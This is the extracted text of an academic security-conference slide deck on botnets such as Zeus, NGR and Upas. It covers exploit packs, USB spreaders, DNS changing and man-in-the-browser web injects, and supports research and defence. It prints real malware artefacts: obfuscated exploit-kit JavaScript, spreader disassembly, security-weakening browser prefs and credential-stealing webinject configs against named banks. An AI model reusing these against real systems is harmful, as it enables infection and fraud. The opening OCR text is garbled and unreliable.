Botnets Die Hard Owned and Operated

Processing ...

9571-8418-3183-1405-1988-85

THEY REVERSE RATE - REVERSE AND THE . . that strates many Los another 210 a story stars In MATTER AND A REPORT OF THE OTHER ADD. AND IN SHEE KITS COMMUN. ON

BATRAN DR. MC., TRADING. CALCULATING TRADJECTORY

> LEAT LEVEL ANNES TO DEVER 1 TENCEPTION LABORS DROCK RECEIVED. ITNERTICATION TENTICS.

CAS CLASS 29-TH MIRSLE

ABOT DE L'OCTOR ANTERNATION PROTOCOL E INTER



AUNCH DETECTED

SecNiche Security Department of Computer Science and Engineering Michigan State University





About Us

- Aditya K Sood
 - PhD Candidate at Michigan State University
 - Working with iSEC Partners
 - Founder, SecNiche Security Labs
 - Worked previously for Armorize, Coseinc and KPMG
 - Active Speaker at Security conferences
 - LinkedIn http://www.linkedin.com/in/adityaks
 - Website: http://www.secniche.org | Blog: http://secniche.blogspot.com
 - Twitter: @AdityaKSood
- Dr. Richard J Enbody
 - Associate Professor, CSE, Michigan State University
 - Since 1987, teaching computer architecture/ computer security / mathematics
 - Co-Author CS1 Python book, The Practice of Computing using Python.
 - Patents Pending Hardware Buffer Overflow Protection



Disclaimer

 This research relates to my own efforts and does not provide the view of any of my present and previous employers.







- Bot Spreading Mechanisms
 - Browser Exploit Packs
 - Drive-by-Download frameworks
 - Spreaders
 - Demonstration
- POST Exploitation
 - Understanding Ruskill
 - DNS Changer in Action
 - Other System Manipulation Tactics
 - Demonstration
- Exploiting Browsers/HTTP
 - Man in the Browser
 - Formgrabbing
 - Web Injects
 - Demonstration
- Conclusion



Rise of Third Generation Botnets (TGB)

Zeus | SpyEye | Andromeda | Smoke | NGR | Upas |

TGB Infections started with Zeus !

NORTH AMERICA

Zbot "AKA Zeus" is a Trojan horse that steals banking information by man-in-thebrowser keystroke logging and form grabbing. Zeus is spread mainly through drive-by downloads and phishing schemes. First identified in July 2007 when it was used to steal information from the United States Department of Transportation, it became more widespread in March 2009. In June 2009, security company Prevx discovered that Zeus had compromised over 74,000 FTP accounts on websites of such companies as the Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek.

Timeframe: June 16 - 29, 2012 Unique IPs Observed: 565,010 Number of "hits": 83,677,684 Number of Unique Geolocations: 27,745

Bot Spreading Mechanisms Widely Deployed



Browser Exploit Packs

- Browser Exploit Packs (BEPs)
 - Overview
 - Automated frameworks containing browser exploits
 - Implements the concept of Drive-by-Download attacks
 - Exploits are bundled as unique modules
 - Mostly written in PHP + MySQL
 - PHP code is obfuscated with Ion Cube encoder
 - Successfully captures the statistics of infected machine
 - Widely used BEPs are BlackHole / Nuclear / Phoenix etc.
 - How is the exploit served?
 - Fingerprinting browser's environment
 - User-Agent string parameters
 - Plugin detection module Java / PDF / Flash
 - Custom JavaScripts for extracting information from the infected machine

Browser Exploit Packs

- Obfuscated JavaScripts used in BlackHole Infections
 - Hiding the infected domain

```
<script>s="";try{q=document.createElement("p");
q.appendChild("123"+n);}
```

catch (qw) {h=-016/7; try {a=prototype; } catch (zxc)

```
[]e=window["e"+"va"+"1"];n="18.27.420.510.64.120.400.555.198.351.436.
505.220.348.184.515.202.348.276.540.202.327.404.550.232.345.264.605.168.
78.294.444.500.242.117.164.455.96.279.164.615.26.27.36.45.210.306.456.485.
218.303.456.200.82.177.52.45.18.375.128.505.216.345.404.160.246.39.36.45.
18.300.444.495.234.327.404.550.232.138.476.570.210.348.404.200.68.180.420.
510.228.291.436.505.64.345.456.495.122.117.416.580.232.336.232.235.94.156.
216.280.98.165.216.245.104.168.204.245.104.165.212.260.98.159.216.230.230.
303.456.590.202.312.464.580.224.138.396.555.218.141.404.510.196.312.468.560
.198.363.472.505.100.297.392.605.236.357.388.235.100.153.392.275.112.297
---- Redacted ----
. ".split(".");if(window.document)
for(i=6-2-1-2-1;-795+i]=2-2;i++)
{[k=i;s=s+String.fromCharCode(n[k]/(i](h*h)+2));
}]e(s);]]
```

Obfuscated Script

if (document.getElementsByTagName('body')[0]){
iframer();

Deobfuscated Script



Browser Exploit Packs

- Plugin Detection Code
 - Scripts code taken from real world case studies

```
try{l=b(c.GetVariable("$version"))}catch(k){}if(!1&&a){1=a}}
j.installed=1?1:-1; j.version=g.formatNum(1); return true}},
adobereader: {{mimeType: "application/pdf", navPluginObj:null, progID:
                                                                       PDF ActiveX Detection
["AcroPDF.PDF", "PDF.PdfCtrl"],
classID: "clsid: CA8A9780-280D-11CF-A24D-444553540000", INSTALLED: { },
pluginHasMimeType:function(d,c,f) {var b=this,e=b.$,a;for(a in d)
{\if(d[a]&&d[a].type&&d[a].type=c) {\return 1}}if(e.getMimeEnabledPlugin(c,f))
{return 1} return 0}
---Redacted ----
<script>if (!('\v'='v')) {var nunu=11;var dnkza8=this['eval'];}
var chert=dnkza8(document.getElementsByTagName('*')[nunu].value);
this[''+""+''+'e'+'v'+'al'+''+''](chert);for (erepdwi = bocwgz8;
erepdwi > 0; erepdwi--) { for (iwcwco7 = bocwgz8-erepdwi;
iwcwco7 <= hzxzj3.length; iwcwco7=iwcwco7+bocwgz8)</pre>
{cuxox=cuxox+hzxzj3.charAt(iwcwco7);}}
var boavcvg=cuxox+"~=~PluginDetect.getVersion('AdobeReader').split('.');
var~sv=parseInt(inp[0]+inp[1]+inp[2]);if~(sv<800) {addp('esgtgnktilct2.pdf');</pre>
}}catch(e){}}
DETECTPDF();
                                                   PDF Plugin Detection
function~motherfucker() {} motherfucker(); ";
var waiwai=apdthvb7(''+""+''+boavcvg+'');
eval('/*hui*/'+waiwai+'/*hui*/');</script>
```

Demonstration



Drive-by-Download Attacks

- Drive-by-Download
 - Victim's browser is forced to visit infected website
 - IFrame redirects browser to the BEP
 - Exploit is served by fingerprinting the browser environment
 - Browser is exploited successfully using JavaScript Heap Spraying
 - BEP silently downloads the malware onto the victim machine



Drive-by-Download Frameworks

- Drive-by-Download Frameworks
 - Java Drive-by Generator

Drive-by Generator	Welcome Administrator	Drive-by Generator
Choose Method: C HTML Based Drive-By C DAR Based Drive-By Other Options	Template Options: Clone Website (Soon!) http:// Select Template: +	Custom Publisher: Publisher Name: hvb8t2h9e Organization Name: xwzf3bb4e Croanization Linit:
Drop Options: Drop Name: gtmj2pk.exe Drop Location: %TEMP% Advanced Options:	General Options: Program URL: http:// Admin Control Panel: http://www.site.com/index.php Redirect Options:	oyqhu8evm + Olty: + mm5n0x4ym + State: + qabihyja5 + Country: + an4wbzpzq +
HTML Encryption: (BETA) Level 1 Level 2 Level 3 C Level 4 Generate Now!	Activate Redirect Run Redirect: http:// Cancel Redirect: http://	Project Name: Project Name: (NO SPACES) wgpu4lvwf
v2.5.1	© Ababneh1 Dev-Point.Com 2011	

Demonstration



- USB Spreading (Upas Bot Case Study)
 - Inside USB Spreader
 - Widely used technique in bot design for infecting USB devices
 - Win 32 Implementation
 - Bot calls **RegisterDeviceNotificationW** function
 - » It can also be implemented as a windows service



- USB Spreading (Upas Bot Case Study)
 - Plug and Play (PnP) Devices have unique set of different GUIDs
 - Device interface GUID
 - » Required for **dbcc_classguid** → **DEV_BROADCAST_DEVICEINTERFACE**
 - Device class GUID
 - » Defines wide range of devices
 - Defines *WindowProc* as follows
 - » WM_DEVICECHANGE notification message in DEV_BROADCAST_HDR
 - » dbch_devicetype → DBT_DEVTYP_DEVICEINTERFACE
 - Wait for the USB device and triggers device-change event as follows:
 - wParam in WindowProc
 - » DBT_DEVICEARRIVAL | DBT_DEVICEREMOVALCOMPLETE
 - Fetches drive letter of the USB devices as follows
 - » dbcv_unitmask in _DEV_BROADCAST_VOLUME | Logical drive information



• Continued

- USB Spreading (Upas Bot Case Study)
 - On successful detecting the USB, bot execute function as follows;
 - CopyFileW to copy malicious executable in the USB drive
 - CreateFileW to create autorun.inf file in the USB root directory
 - SetFileAttributesW to apply required files attribute

```
offset aWsautorun inf ; "%wsautorun.inf"
                                                      push
        [ebp+arg_4]
push
                                                      lea
                                                              eax, [ebp+var 980]
        eax, [ebp+FileName]
lea
                                                               esi
                                                      push
        [ebp+arg 0]
push
                                                      push
                                                               eax
        offset aWsWs a exe ; "%ws%ws a.exe"
push
                                                      call
                                                               sub 40291B
push
        ebx
                                                              [ebp+arg_4]
                                                      push
push
        eax
                                                      lea
                                                               eax, [ebp+Buffer]
call
        sub 40291B
                                                              offset aAutorunOpenWs ; "[autorun]\r\nopen=%ws a.exe\r\n"
                                                      push
        esp, 14h
add
                                                      push
                                                               104h
xor
        ebx, ebx
                                                      push
                                                               eax
push
                         ; bFaillfExists
        ebx
                                                              sub 4028EC
                                                      call
        eax, [ebp+FileName]
lea
                                                              esp, 20h
                                                      add
                         ; 1pNewFileName
push
        eax
                                                                                ; hTemplateFile
                                                      push
                                                               ebx
        edi
                         ; lpExistingFileName
push
                                                               8 0h
                                                                                ; dwFlagsAndAttributes
                                                      push
        esi ; CopyFileW
call
                                                                                ; dwCreationDisposition
                                                               2
                                                      push
                         : dwFileAttributes
push
        6
                                                                                 1pSecurityAttributes
                                                      push.
                                                               ebx
        eax, [ebp+FileName]
lea
                                                                                 dwShareMode
                                                      push
                                                               ebx
push
                         ; lpFileName
        eax
                                                                                 dwDesiredAccess
                                                               0C 0 0 0 0 0 0 0 0 h
                                                      push
        ds:SetFileAttributesW
call
                                                              eax, [ebp+var_980]
                                                      lea
                                                                                ; lpFileName
                                                      push
                                                               eax
           Autorun.inf infection
                                                               ds:CreateFileW
                                                      call
```

- USB Spreading (Upas Bot Case Study)
 - Infecting USB devices using Malicious .LNK file infection

push	offset aWsWs ; "%ws%ws"
push	esi
push	eax
call	sub_40291B
lea	<pre>eax, [ebp+FindFileData.cFileName]</pre>
push	eax
push	[ebp+arg_0]
lea	eax, [ebp+var_B8C]
push	offset aWsWs_lnk ; "%ws%ws.lnk"
push	esi
push	eax
call	sub_40291B
push	[ebp+arg_4]
lea	eax, [ebp+var_774]
push	eax
lea	eax, [ebp+var_B8C]
push	eax
call	sub_404948
add	esp, 34h
lea	eax, [ebp+var_774]
push	eax ; 1pFileName
call	ds:GetFileAttributesW

.LNK infection

<pre>Image: Null inc_4048A6: push [ebp+arg_0] push offset aWs_1 ; "%ws*" push eax call sub_402918 add esp, 10h lea eax, [ebp+FindFileData] push eax call sub_402918 add esp, 10h lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push eax ; lpFileName call sub_402918 dd esp, 14h push eax ; cepp+var_214] push eax call sub_402918 add esp, 14h push eax ; cepfileInfo lea eax, [ebp+sfi] push eax ; psfi push eax ; psfi call ds:SHGetFileInfoW</pre>		* *		
<pre>loc_404BA6: push [ebp+arg_0] push offset aWs_1 ; "%ws*" push esi push eax call sub_40291B add esp, 10h push eax ; [ebp+FindFileData] push eax ; [ebp+FindFileData] push eax ; [bbp+var_980] push eax ; 1pFindFileData lea eax, [ebp+var_980] push eax ; pFileName call ds:FindFirstFileW</pre>	🖬 N	L <u>ul</u>		
<pre>loc_404BA6: push [ebp+arg_0] push (ebp+arg_0] push offset aWs_1 ; "%ws*" push esi push eax call sub_40291B add esp, 10h lea eax, [ebp+FindFileData] push eax ; lpFindFileData] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+arg_4] push esi push eax ; cbp+var_214] push eax ; cbpileInfo lea eax, [ebp+psfi] push eax ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push esi ; psfi push eax ; psfi call ds:SHGetFileInfoW</pre>			🔜 N 以	L <u>I</u>
<pre>push [ebp+arg_0] lea eax, [ebp+var_980] push offset aWs_1 ; "%ws*" push esi push esi call sub_402918 dd esp, 10h lea eax, [ebp+findFileData] push eax call ds:FindFireFileW push eax call ds:FindFireFileW push eax call ds:FindFireFileW push esi push esi push esi push esi call ds:FindFireFileW push esi push esi push esi call sub_402918 dd esp, 10h lea eax, [ebp+var_980] push eax call ds:FindFireFileW push esi call ds:FindFireFileW push esi call ds:FindFireFileW push esi call sub_402918 dd esp, 14h push eax call sub</pre>	10C_4	104BA6 :	lea	<pre>eax, [ebp+FindFileData.cFileName]</pre>
<pre>lea eax, [ebp+var_980] push eax ; wchar_t * push offset aWs_1 ; "%ws*" pop ecx call sub_402918 add esp, 10h pop ecx test eax, eax add esp, 10h jnz loc_404027 lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push [ebp+arg_8] mov esi, [ebp+arg_4] push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push eax call sub_402918 add esp, 14h push 1000h ; uFlags push eax ; p5fi push eax ; p5fi push eax ; p5fi push esi ; ps2Path call ds:SHGetFileInfoW</pre>	push	[ebp+arg_0]	push	offset a_lnk ; ".lnk"
<pre>push offset aWs_1 ; "%ws*" call wcsstr push esi pop ecx call sub_40291B pop ecx call sub_40291B pop ecx call sub_40291B pop ecx test eax, eax pop ecx test eax, eax jnz loc_404027 lea eax, [ebp+var_980] push eax ; lpFindFileData push eax ; lpFileName call ds:FindFirstFileW push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_1.e". lea eax, [ebp+var_214] push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push esi ; pszPath call ds:SHGetFileInfoW</pre>	lea	eax, [ebp+var_980]	push	eax ; wchar_t *
<pre>push esi pop ecx push eax pop ecx call sub_402918 test eax, eax inz loc_404D27 lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push esi push 209h push eax call sub_402918 add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push eai ; dwFileAttributes push esi ; pszPath call ds:SHGetFileInfoW</pre>	push	offset aWs_1 ; "%ws*"	call	wcsstr
<pre>push eax call sub_402918 add esp, 10h lea eax, [ebp+FindFileData] push eax ; 1pFindFileData lea eax, [ebp+var_980] push eax ; 1pFileName call ds:FindFirstFileW push esi push esi push offset aCStartWsStartW; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push eax call sub_402918 add esp, 14h push eax ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push eax ; psfi</pre>	push	esi	рор	ecx
<pre>call sub_402918 test eax, eax add esp, 10h jnz loc_404027 lea eax, [ebp+FindFileData] push eax ; lpFindFileData lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+p5fi] push eax ; psfi push esi ; pszPath call ds:SHGetFileInfoW</pre>	push	eax	pop	ecx
adu esp, 100 lea eax, [ebp+FindFileData] push eax lea eax, [ebp+var_980] push eax push eax call ds:FindFirstFileW push esi push esi push esi push esi push esi push offset aCStartWsStartW; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push 209h push eax call sub_402918 add esp, 14h push 1000h push eax, [ebp+psfi] push eax, [ebp+sfi] push eax push eax gesi ; psfi push esi push esi push esi push esi push esi push esi call ds:SHCetFileInfoW	call	SUD_402918	test	eax, eax
<pre>lead eax, [ebp+rindFileData] push eax ; lpFindFileData] lea eax, [ebp+var_980] push eax ; lpFileName call ds:FindFirstFileW push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push edi ; dwFileAttributes push esi ; pszPath call ds:SHGetFileInfoW</pre>	100	esp, Ton opy [obp+EindEileData]	JIIZ	100_404027
<pre>push [ebp+arg_8] nov esi, [ebp+arg_4] push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push 209h push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push esi ; pszPath call ds:SHGetFileInfoW</pre>	nuch	eax, [eup+rinuriieuala]	abata	
<pre>push eax [cbp+var_s] 1pFileName call ds:FindFirstFileW push [ebp+arg_8] mov esi, [ebp+arg_4] push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push 209h push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push eai ; dwFileAttributes push esi ; pszPath call ds:SHGetFileInfoW</pre>	lea	eax [ebn+uar 980]	-vaca	
<pre>call ds:FindFirstFileW push [ebp+arg_8] mov esi, [ebp+arg_4] push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push 209h push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push edi ; dwFileAttributes push esi ; pszPath call ds:SHGetFileInfoW</pre>	bush	eax : 1pFileNam		
<pre>push [ebp+arg_8] mov esi, [ebp+arg_4] push esi push offset aCStartWsStartW ; "/C start \"\" \"%ws\\\" && start \"\" \"%ws_l.e". lea eax, [ebp+var_214] push 209h push eax call sub_40291B add esp, 14h push 1000h ; uFlags push ebx ; cbFileInfo lea eax, [ebp+psfi] push eax ; psfi push edi ; dwFileAttributes push esi ; pszPath call ds:SHGetFileInfoW</pre>	call	ds:FindFirstFileW		
call ds:SHGetFileInfoW	mov push push lea push call add push push lea push push push	esi, [ebp+arg_4] esi offset aCStartWsStartW ; "/C s eax, [ebp+var_214] 209h eax sub_40291B esp, 14h 1000h ; uFlags ebx ; cbFileInfo eax, [ebp+psfi] eax ; psfi edi ; dwFileAttrib esi ; nszPath	tart \" utes	'\" \"%ws\\\" && start \"\" \"%ws_l.e".
	call	ds:SHGetFileInfoW		

USB Spreading (Upas Bot - Case Study)

Upas — Upas bot in action

Мар		FTP		Spre	adings		Botkill	Passwords
Bots		Search						
Statist	ics	Ocarent	Type				Details	
Tools			1100				betans	
Logs			USB				Infected Drive E:\\	
Tasks			USB				Infected Drive H:\\	
<mark>표 N 나브</mark> nush	edi						Infected Drive F:\\	
push	offset a	C ; "%c:\\"					Infected Drive H:\\	
rea push	eax, [eb] 9	p+var_cj					Infected Drive J:\\	
push call	n eax sub_40291B eax, [ebp+var_C]					Infected Drive H:\\		
lea						Infected Drive F:\\		
pusn push	n offset ValueName n eax L sub_404A97 n edi				Infected Drive G:\\			
call nush					Infected Drive F:\\			
push	offset aDataUsbInfecte ; "data=USB< >Infected Drive %c:\\< >\r\n"				\r\n"	Infected Drive F:\\		
rea push	eax, [eb] 103h	p+var_130] EC					Infected Drive H:\\	
push call	eax sub 4028						Infected Drive F:\\	
push	offset a	a1_0_0_0 ; "1.0.0.0" a?actSpreadingV ; "?act=spreading&ver=%s" op+var_2C]				Infected Drive J:\\		
push lea	offset a eax, [eb					Infected Drive F:\\		
push	1Dh 👘	IDh						

- Upas Bot Network Behavior Detection
 - Writing signature specific to USB infection

```
alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS
(
    msg:"Win32.UPas - Runtime Detection";
    flow:to_server,established;
    content:"POST ";
    depth:5;
    uricontent:"?act=spreading&ver=";
    nocase;
    content:"|OD OA OD OA|data=USB|3C 7C 3E|Infected Drive";
    nocase;
    classtype:Worm; reference:SNS;
    sid:110034567;
    rev:1;
)
```



POST Exploitation Subverting System Integrity



Understanding Ruskill

- What is Ruskill ?
 - A termed coined in Russia
 - It refers to the group of warriors who demonstrate their skill in the battle
 - Typically used by Diablo game players to demonstrate their strength and power
 - How does Ruskill relate to bots?
 - Ruskill module is used to demonstrate the capability of bots
 - Removing traces of malware in the system after successful reboot





Understanding Ruskill

- Inside Ruskill Module
 - Found in NGR (Dorkbot)
 - Remote file downloading and execution
 - Ruskill allows the bot to fetch any executable from third-party resource and execute it in the compromised system
 - Restoring System
 - Ruskill monitors all the changes performed by the malicious executable in the system
 - Ruskill restores the registry, files ad network settings to the same state (before the execution of malicious binary) after reboot
 - Deletes the malicious executable after successful execution in the system





Understanding Ruskill

Inside Ruskill Module

```
1oc 40DB41:
        edx, off 415784
MOV
        esi
                         ; arglist
push
        offset aRuskillDetecte ; "[Ruskill]: Detected File: \"%s\""
push
        edx
                         ; int
push
        offset dword 44AD98 ; int
push
        sub_40BA00
call
        esp, 10h
add
        1oc 40DC82
jmp
                                              eax, off 415784
                                      MOV
                                     push
                                               esi
```

Ruskill Detecting File, DNS and Registry modifications

```
mov eax, off_415784
push esi ; arglist
push offset aRuskillDetec_0; "[Ruskill]: Detected DNS: \"%s\""
push eax ; int
push offset dword_44AD98 ; int
call sub_40BA00
add esp, 10h
jmp loc_40DC82
```



```
ecx, off 415784
mov
        esi
                         ; arglist
push
        offset aRuskillDetec_1 ; "[Ruskill]: Detected Req: \"%s\""
push
push
                         ; int
        ecx
        offset dword 44AD98 ; int
push
        sub_40BA00
call
add
        esp, 10h
        1oc 40DC82
imp
```



Demonstration



Critical Problem - DNS Changer

DNSChanger cutoff is more whimper than bang. Score one for the good guys.

Cutting off Internet access to computers infected with the nasty DNSChanger trojan did not bring about doomsday after all. Why, beyond the obvious, that's good news in the cybersecurity world.

DNSChanger Doomsday

The FBI is pulling the plug on rogue DNS servers on Monday, meaning those who haven't cleaned up their computers could be stranded without Internet. Which begs the question, should they even be allowed Internet access?

Don't forget: DNSChanger malware could kill your internet on Monday

Facebook warns users of the end of the Internet via DNSChanger

DNSChanger Shutdown, Despite Laggards, Is a Good Thing

DNSChanger operation shuts down, leaving some without access to web

Internet blackout looms for 300K DNSChangerinfected computers

DNSChanger apocalypse:

FBI Limits DNSChanger Malware Damage; No 'Internet Doomsday'

The FBI shut down servers that allowed more than 4 million virus-infected computers to access Internet



- DNS Changer
 - Exploiting the DNS resolution functionality of the infected machine
 - What it works for?
 - Blocking security providers websites (Implementing blacklists)
 - Blocking microsoft.com updates website to restrict the downloading of updates
 - Restricting the opening of anti-virus vendors websites
 - Redirecting the browser to the malicious domain
 - Forcing the infected machine to download updates from malicious domain
 - Triggering chain infection for downloading another set of malware onto the infected system





- DNS Changer
 - How this works?
 - Replacing the DNS server entries in the infected machine with IP addresses of the malicious DNS server
 - Adding rogue entries in the hosts configuration file
 - Executing DNS amplification attack by subverting the integrity of LAN devices such as routers and gateways
 - It results in DNS hijacking at a large scale in the network
 - Hooking DNS libraries
 - The preferred method is Inline hooking in which detour and trampoline functions are created to play with DNS specific DLLs.





- DNS Changer
 - Inside DNS hooking
 - Hooking DNS API
 - Hooking DNSQuery (*) function calls in *dnsapi.lib/dnsapi.dll*
 - Implemented by creating a blacklist
 - Bot hijacks the DNS resolution flow by filtering all the incoming DNS requests
 - Hooking DNS Cache Resolver Service
 - Cache resolver service is used for DNS caching
 - Bot hooks *sendto function in ws2_32.dll* to verify the origin of DNS query to validate if sendto function is called by *dnsrsslvr.dll*





- DNS Changer
 - Implementation in NGR bot



Demonstration



Certificate Deletion

- Certificate Deletion
 - Removing all instances of private certificates from the infected machine



Cryptovirology in Action

- Cryptovirology
 - Exploiting the Built-in Windows Crypto APIs
 - Cryptovirology allows malware authors to build robust malware
 - How Cryptovirology is used in designing bots?
 - Generating random filenames for bots
 - Creating registry entries with random keys
 - Highly used for generating random DNS server entries
 - All DNS entries maps to the same IP address
 - Of course, encrypted communication between infected machine and C&C server
 - Verifying the integrity of malicious files downloaded in the system
 - Scrutinizing the bots





Cryptovirology in Action

- Cryptovirology
 - An instance from ICE IX bot Windows Crypto API misuse

pus	sh ebx				
pus	sh OF 0000040h	; dwFlags			
pus	sh 1	; dwProvType			
XOP	r ebx, ebx		🔛 N 1.4		
pus	sh ebx	; pszProvider	nush	ehx	: dwFlans
pus	sh ebx	; pszContainer	lea	eax. [ebo+odwDat	taLen1
1ea	a eax, [ebp+hProv]		push	eax	: ndwDataLen
pus	sh eax	; phProv	push	[ebp+arg_0]	: pbData
mov	<pre>/ [ebp+var_1], bl</pre>		push	2	: dwParam
cal	ll ds:CryptAcquireC	ontextW	push	_ [ebp+hHash]	: hHash
🗖 🖬 N D	d d		call	ds CruptGetHashl	Param
lea	eax. [ebo+hHash]		CMD	eax, 1	
push	eax : of	hHash	jnz	short loc 4083B	5
push	ebx : d	wFlags	-	_	
push	ebx h	Keu			
push	8003h A	laid			
push	push [ebo+hProv] : hProv				
call ds:CruptCreateHash : Initiate the hashing of a stream of data					
	ahu adul	lage			
pusn ebx ; dwFlags					
pusi	[epp+uwvacacen] ; uwv	alalen			
nuch	mov [epp+pawJataLen], 10h				
push	push [eop+povata] ; povata				
push [eop+nhash] ; NHash coll ds:CwuntWachData : Compute the exuptographic back on a stream of data					
	us.orypunasilvata ; CO	impace che cryptog	гаритс и	asii uli a stream (UT UALA
표 🛯 🖽		HTT N 나님		FR N 1.1	
cmp	[ebp+pdwDataLen], 10h				Cobrauge 11
jnz	short loc_4083B6	loc_4083B6:		; hHash	[eup+var_i], a
		push [ebp+hHa	sh]		
		call ds:Crypt	DestroyH	ash 🛛 🖊	
		1111	11 /	/	



Exploiting Browsers Data Exfiltration Over HTTP



Downgrading Browser Security

- Removing Protections
 - Nullifying browser client side security to perform stealthy operations
 - Internet Explorer
 - Tampering zone values in the registry
 - |Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones
 - Firefox
 - Manipulating entries in user.js file
 - user_pref(''security.warn_submit_insecure'',false);
 - » Browser does not raise an alert box when information in sent over HTTP while submitting forms.
 - user_pref(''security.warn_viewing_mixed'',false);
 - » Remove the warning of supporting mixed content over SSL.

OLD School trick but works very effectively. Several other techniques of subverting the browser security also exists.

Man-in-the-Browser (MitB)

- Inside MitB
 - MitB typically refers to a userland rootkit that exploits the browser integrity





What Lies Beneath?

🖉 Chase Online - My Accounts - Windows Internet Explorer	
🚱 🗢 🙋 http://demo.chase.com/presents/preview/AccountsOverview.html	4 X
👷 Favorites 🛛 🎭 🔤 🔤 🔤 👘 👘 👘 👘	
Chase Online - My Accounts	@ ∙ [≫]
	hase.
	2
In order to provide you with extra security, we occasionally need to ask for additional information when you access your accounts online.	€ t
Weld Please enter the information below to continue. Account	s
joeden Social Security Number: (xxx-xx-xxxx) Drivers License:	-
Date of Birth: (mm-dd-yyyy)	rles: ons
Card Expiration Date: (mm-yyyy) PIN Code:	
PIN Code (confirm): Bank CONTINUE : \$9,12	7.35
Account Available Balance 🖻 Present Ba	e E
My Checking (1234) \$7,526.31 \$6,207	.31
🌍 Internet 🦓 🕶 🍕 100	% • .:

CHASE 🗘

Security Center Home > Online Fraud
Types of Online Fraud
▶ <u>Phishing</u> ▶ <u>Fraudulent E-mails</u> ▶ <u>Fraudulent E-mail Examples</u>
Virus or Malware Attacks
▶ <u>Spam Scams</u> ▶ <u>Internet Auctions</u>

Note: The Pop up is triggered in user's active session. So what it is actually?

No doubt it is a Popup, but the technique is termed as **Web Injects** not phishing or something like that.



Web Injects

- Web Injects
 - Based on the concept of hooking specific functions in the browser DLLs
 - On the fly infection tactic
 - Execution flow
 - Bot injects malicious content in the incoming HTTP responses
 - Injections are based on the static file named as webinjects.txt
 - Rules are statically defined by the botmaster
 - Bot fetches rules from the webinjects.txt file and injects in the live webpages
 - Information stealing in a forceful manner
 - Exploits user ignorance

```
set_url https://engine.paymentgate.ru/bpcservlet/BPC/index.jsp* GP
data_before
<input class="text" type="text" name="userId" value="">

data_end
data_inject
ïàðíëü
```



Web Injects



- What is meant by GPH flags?
 - Exploitation and infection metrics
 - G injection will be made only for the resources that are requested by the GET
 - P injection will be made only for the resources that are requested by the **POST**
 - L is a flag for grabbing content between the tags data_before and data_after inclusive
 - H similar as L except the ripped content is not included and the contents of tags data_before and data_after



Web Injects – Real Time Cases (1)

set url https://web.da-us.citibank.com/cgi-bin/citifi/portal/1/1.do GP

```
data before
src="/cm/js/branding.js"></script>
data end
data inject
<SCRIPT>
function set cookiel(name, value, expires)
if (!expires) { expires = new Date();}
document.cookie = name + "=" + escape(value) + "; expires=" + expires.toGMTString() + "; path=/";
}
function get cookie(name) {
cookie name = name + "="; cookie length = document.cookie.length; cookie begin = 0;
while (cookie begin < cookie length)
Ł
value begin = cookie begin + cookie name.length;
if (document.cookie.substring(cookie begin, value begin) == cookie name)
var value end = document.cookie.indexOf (";", value begin);
if (value end == -1) { value end = cookie length; }
                                                                       Forceful Cookie Injection in
return unescape (document.cookie.substring (value begin, value end));
3
                                                                       Citibank's website to
cookie begin = document.cookie.indexOf(" ", cookie begin) + 1;
if (cookie begin == 0) { break;}
                                                                       manipulate the user's session
ł
return null; }
</SCRIPT>
data end
data after
<noscript>
data end
```

Web Injects – Real Time Cases (2)

```
set url *bankofamerica.com* GP
data before
<a href="#sitekey" title="View your SiteKey">
<img src="sas-docs/images/clr.gif" height="1" width="10" border="0" alt="View your SiteKey"></a>
data end
data inject
</TD>
</TR>
\langle TR \rangle
<TD align=left class=textbold valign=top>
                                                                               Injecting HTML content in Bank of
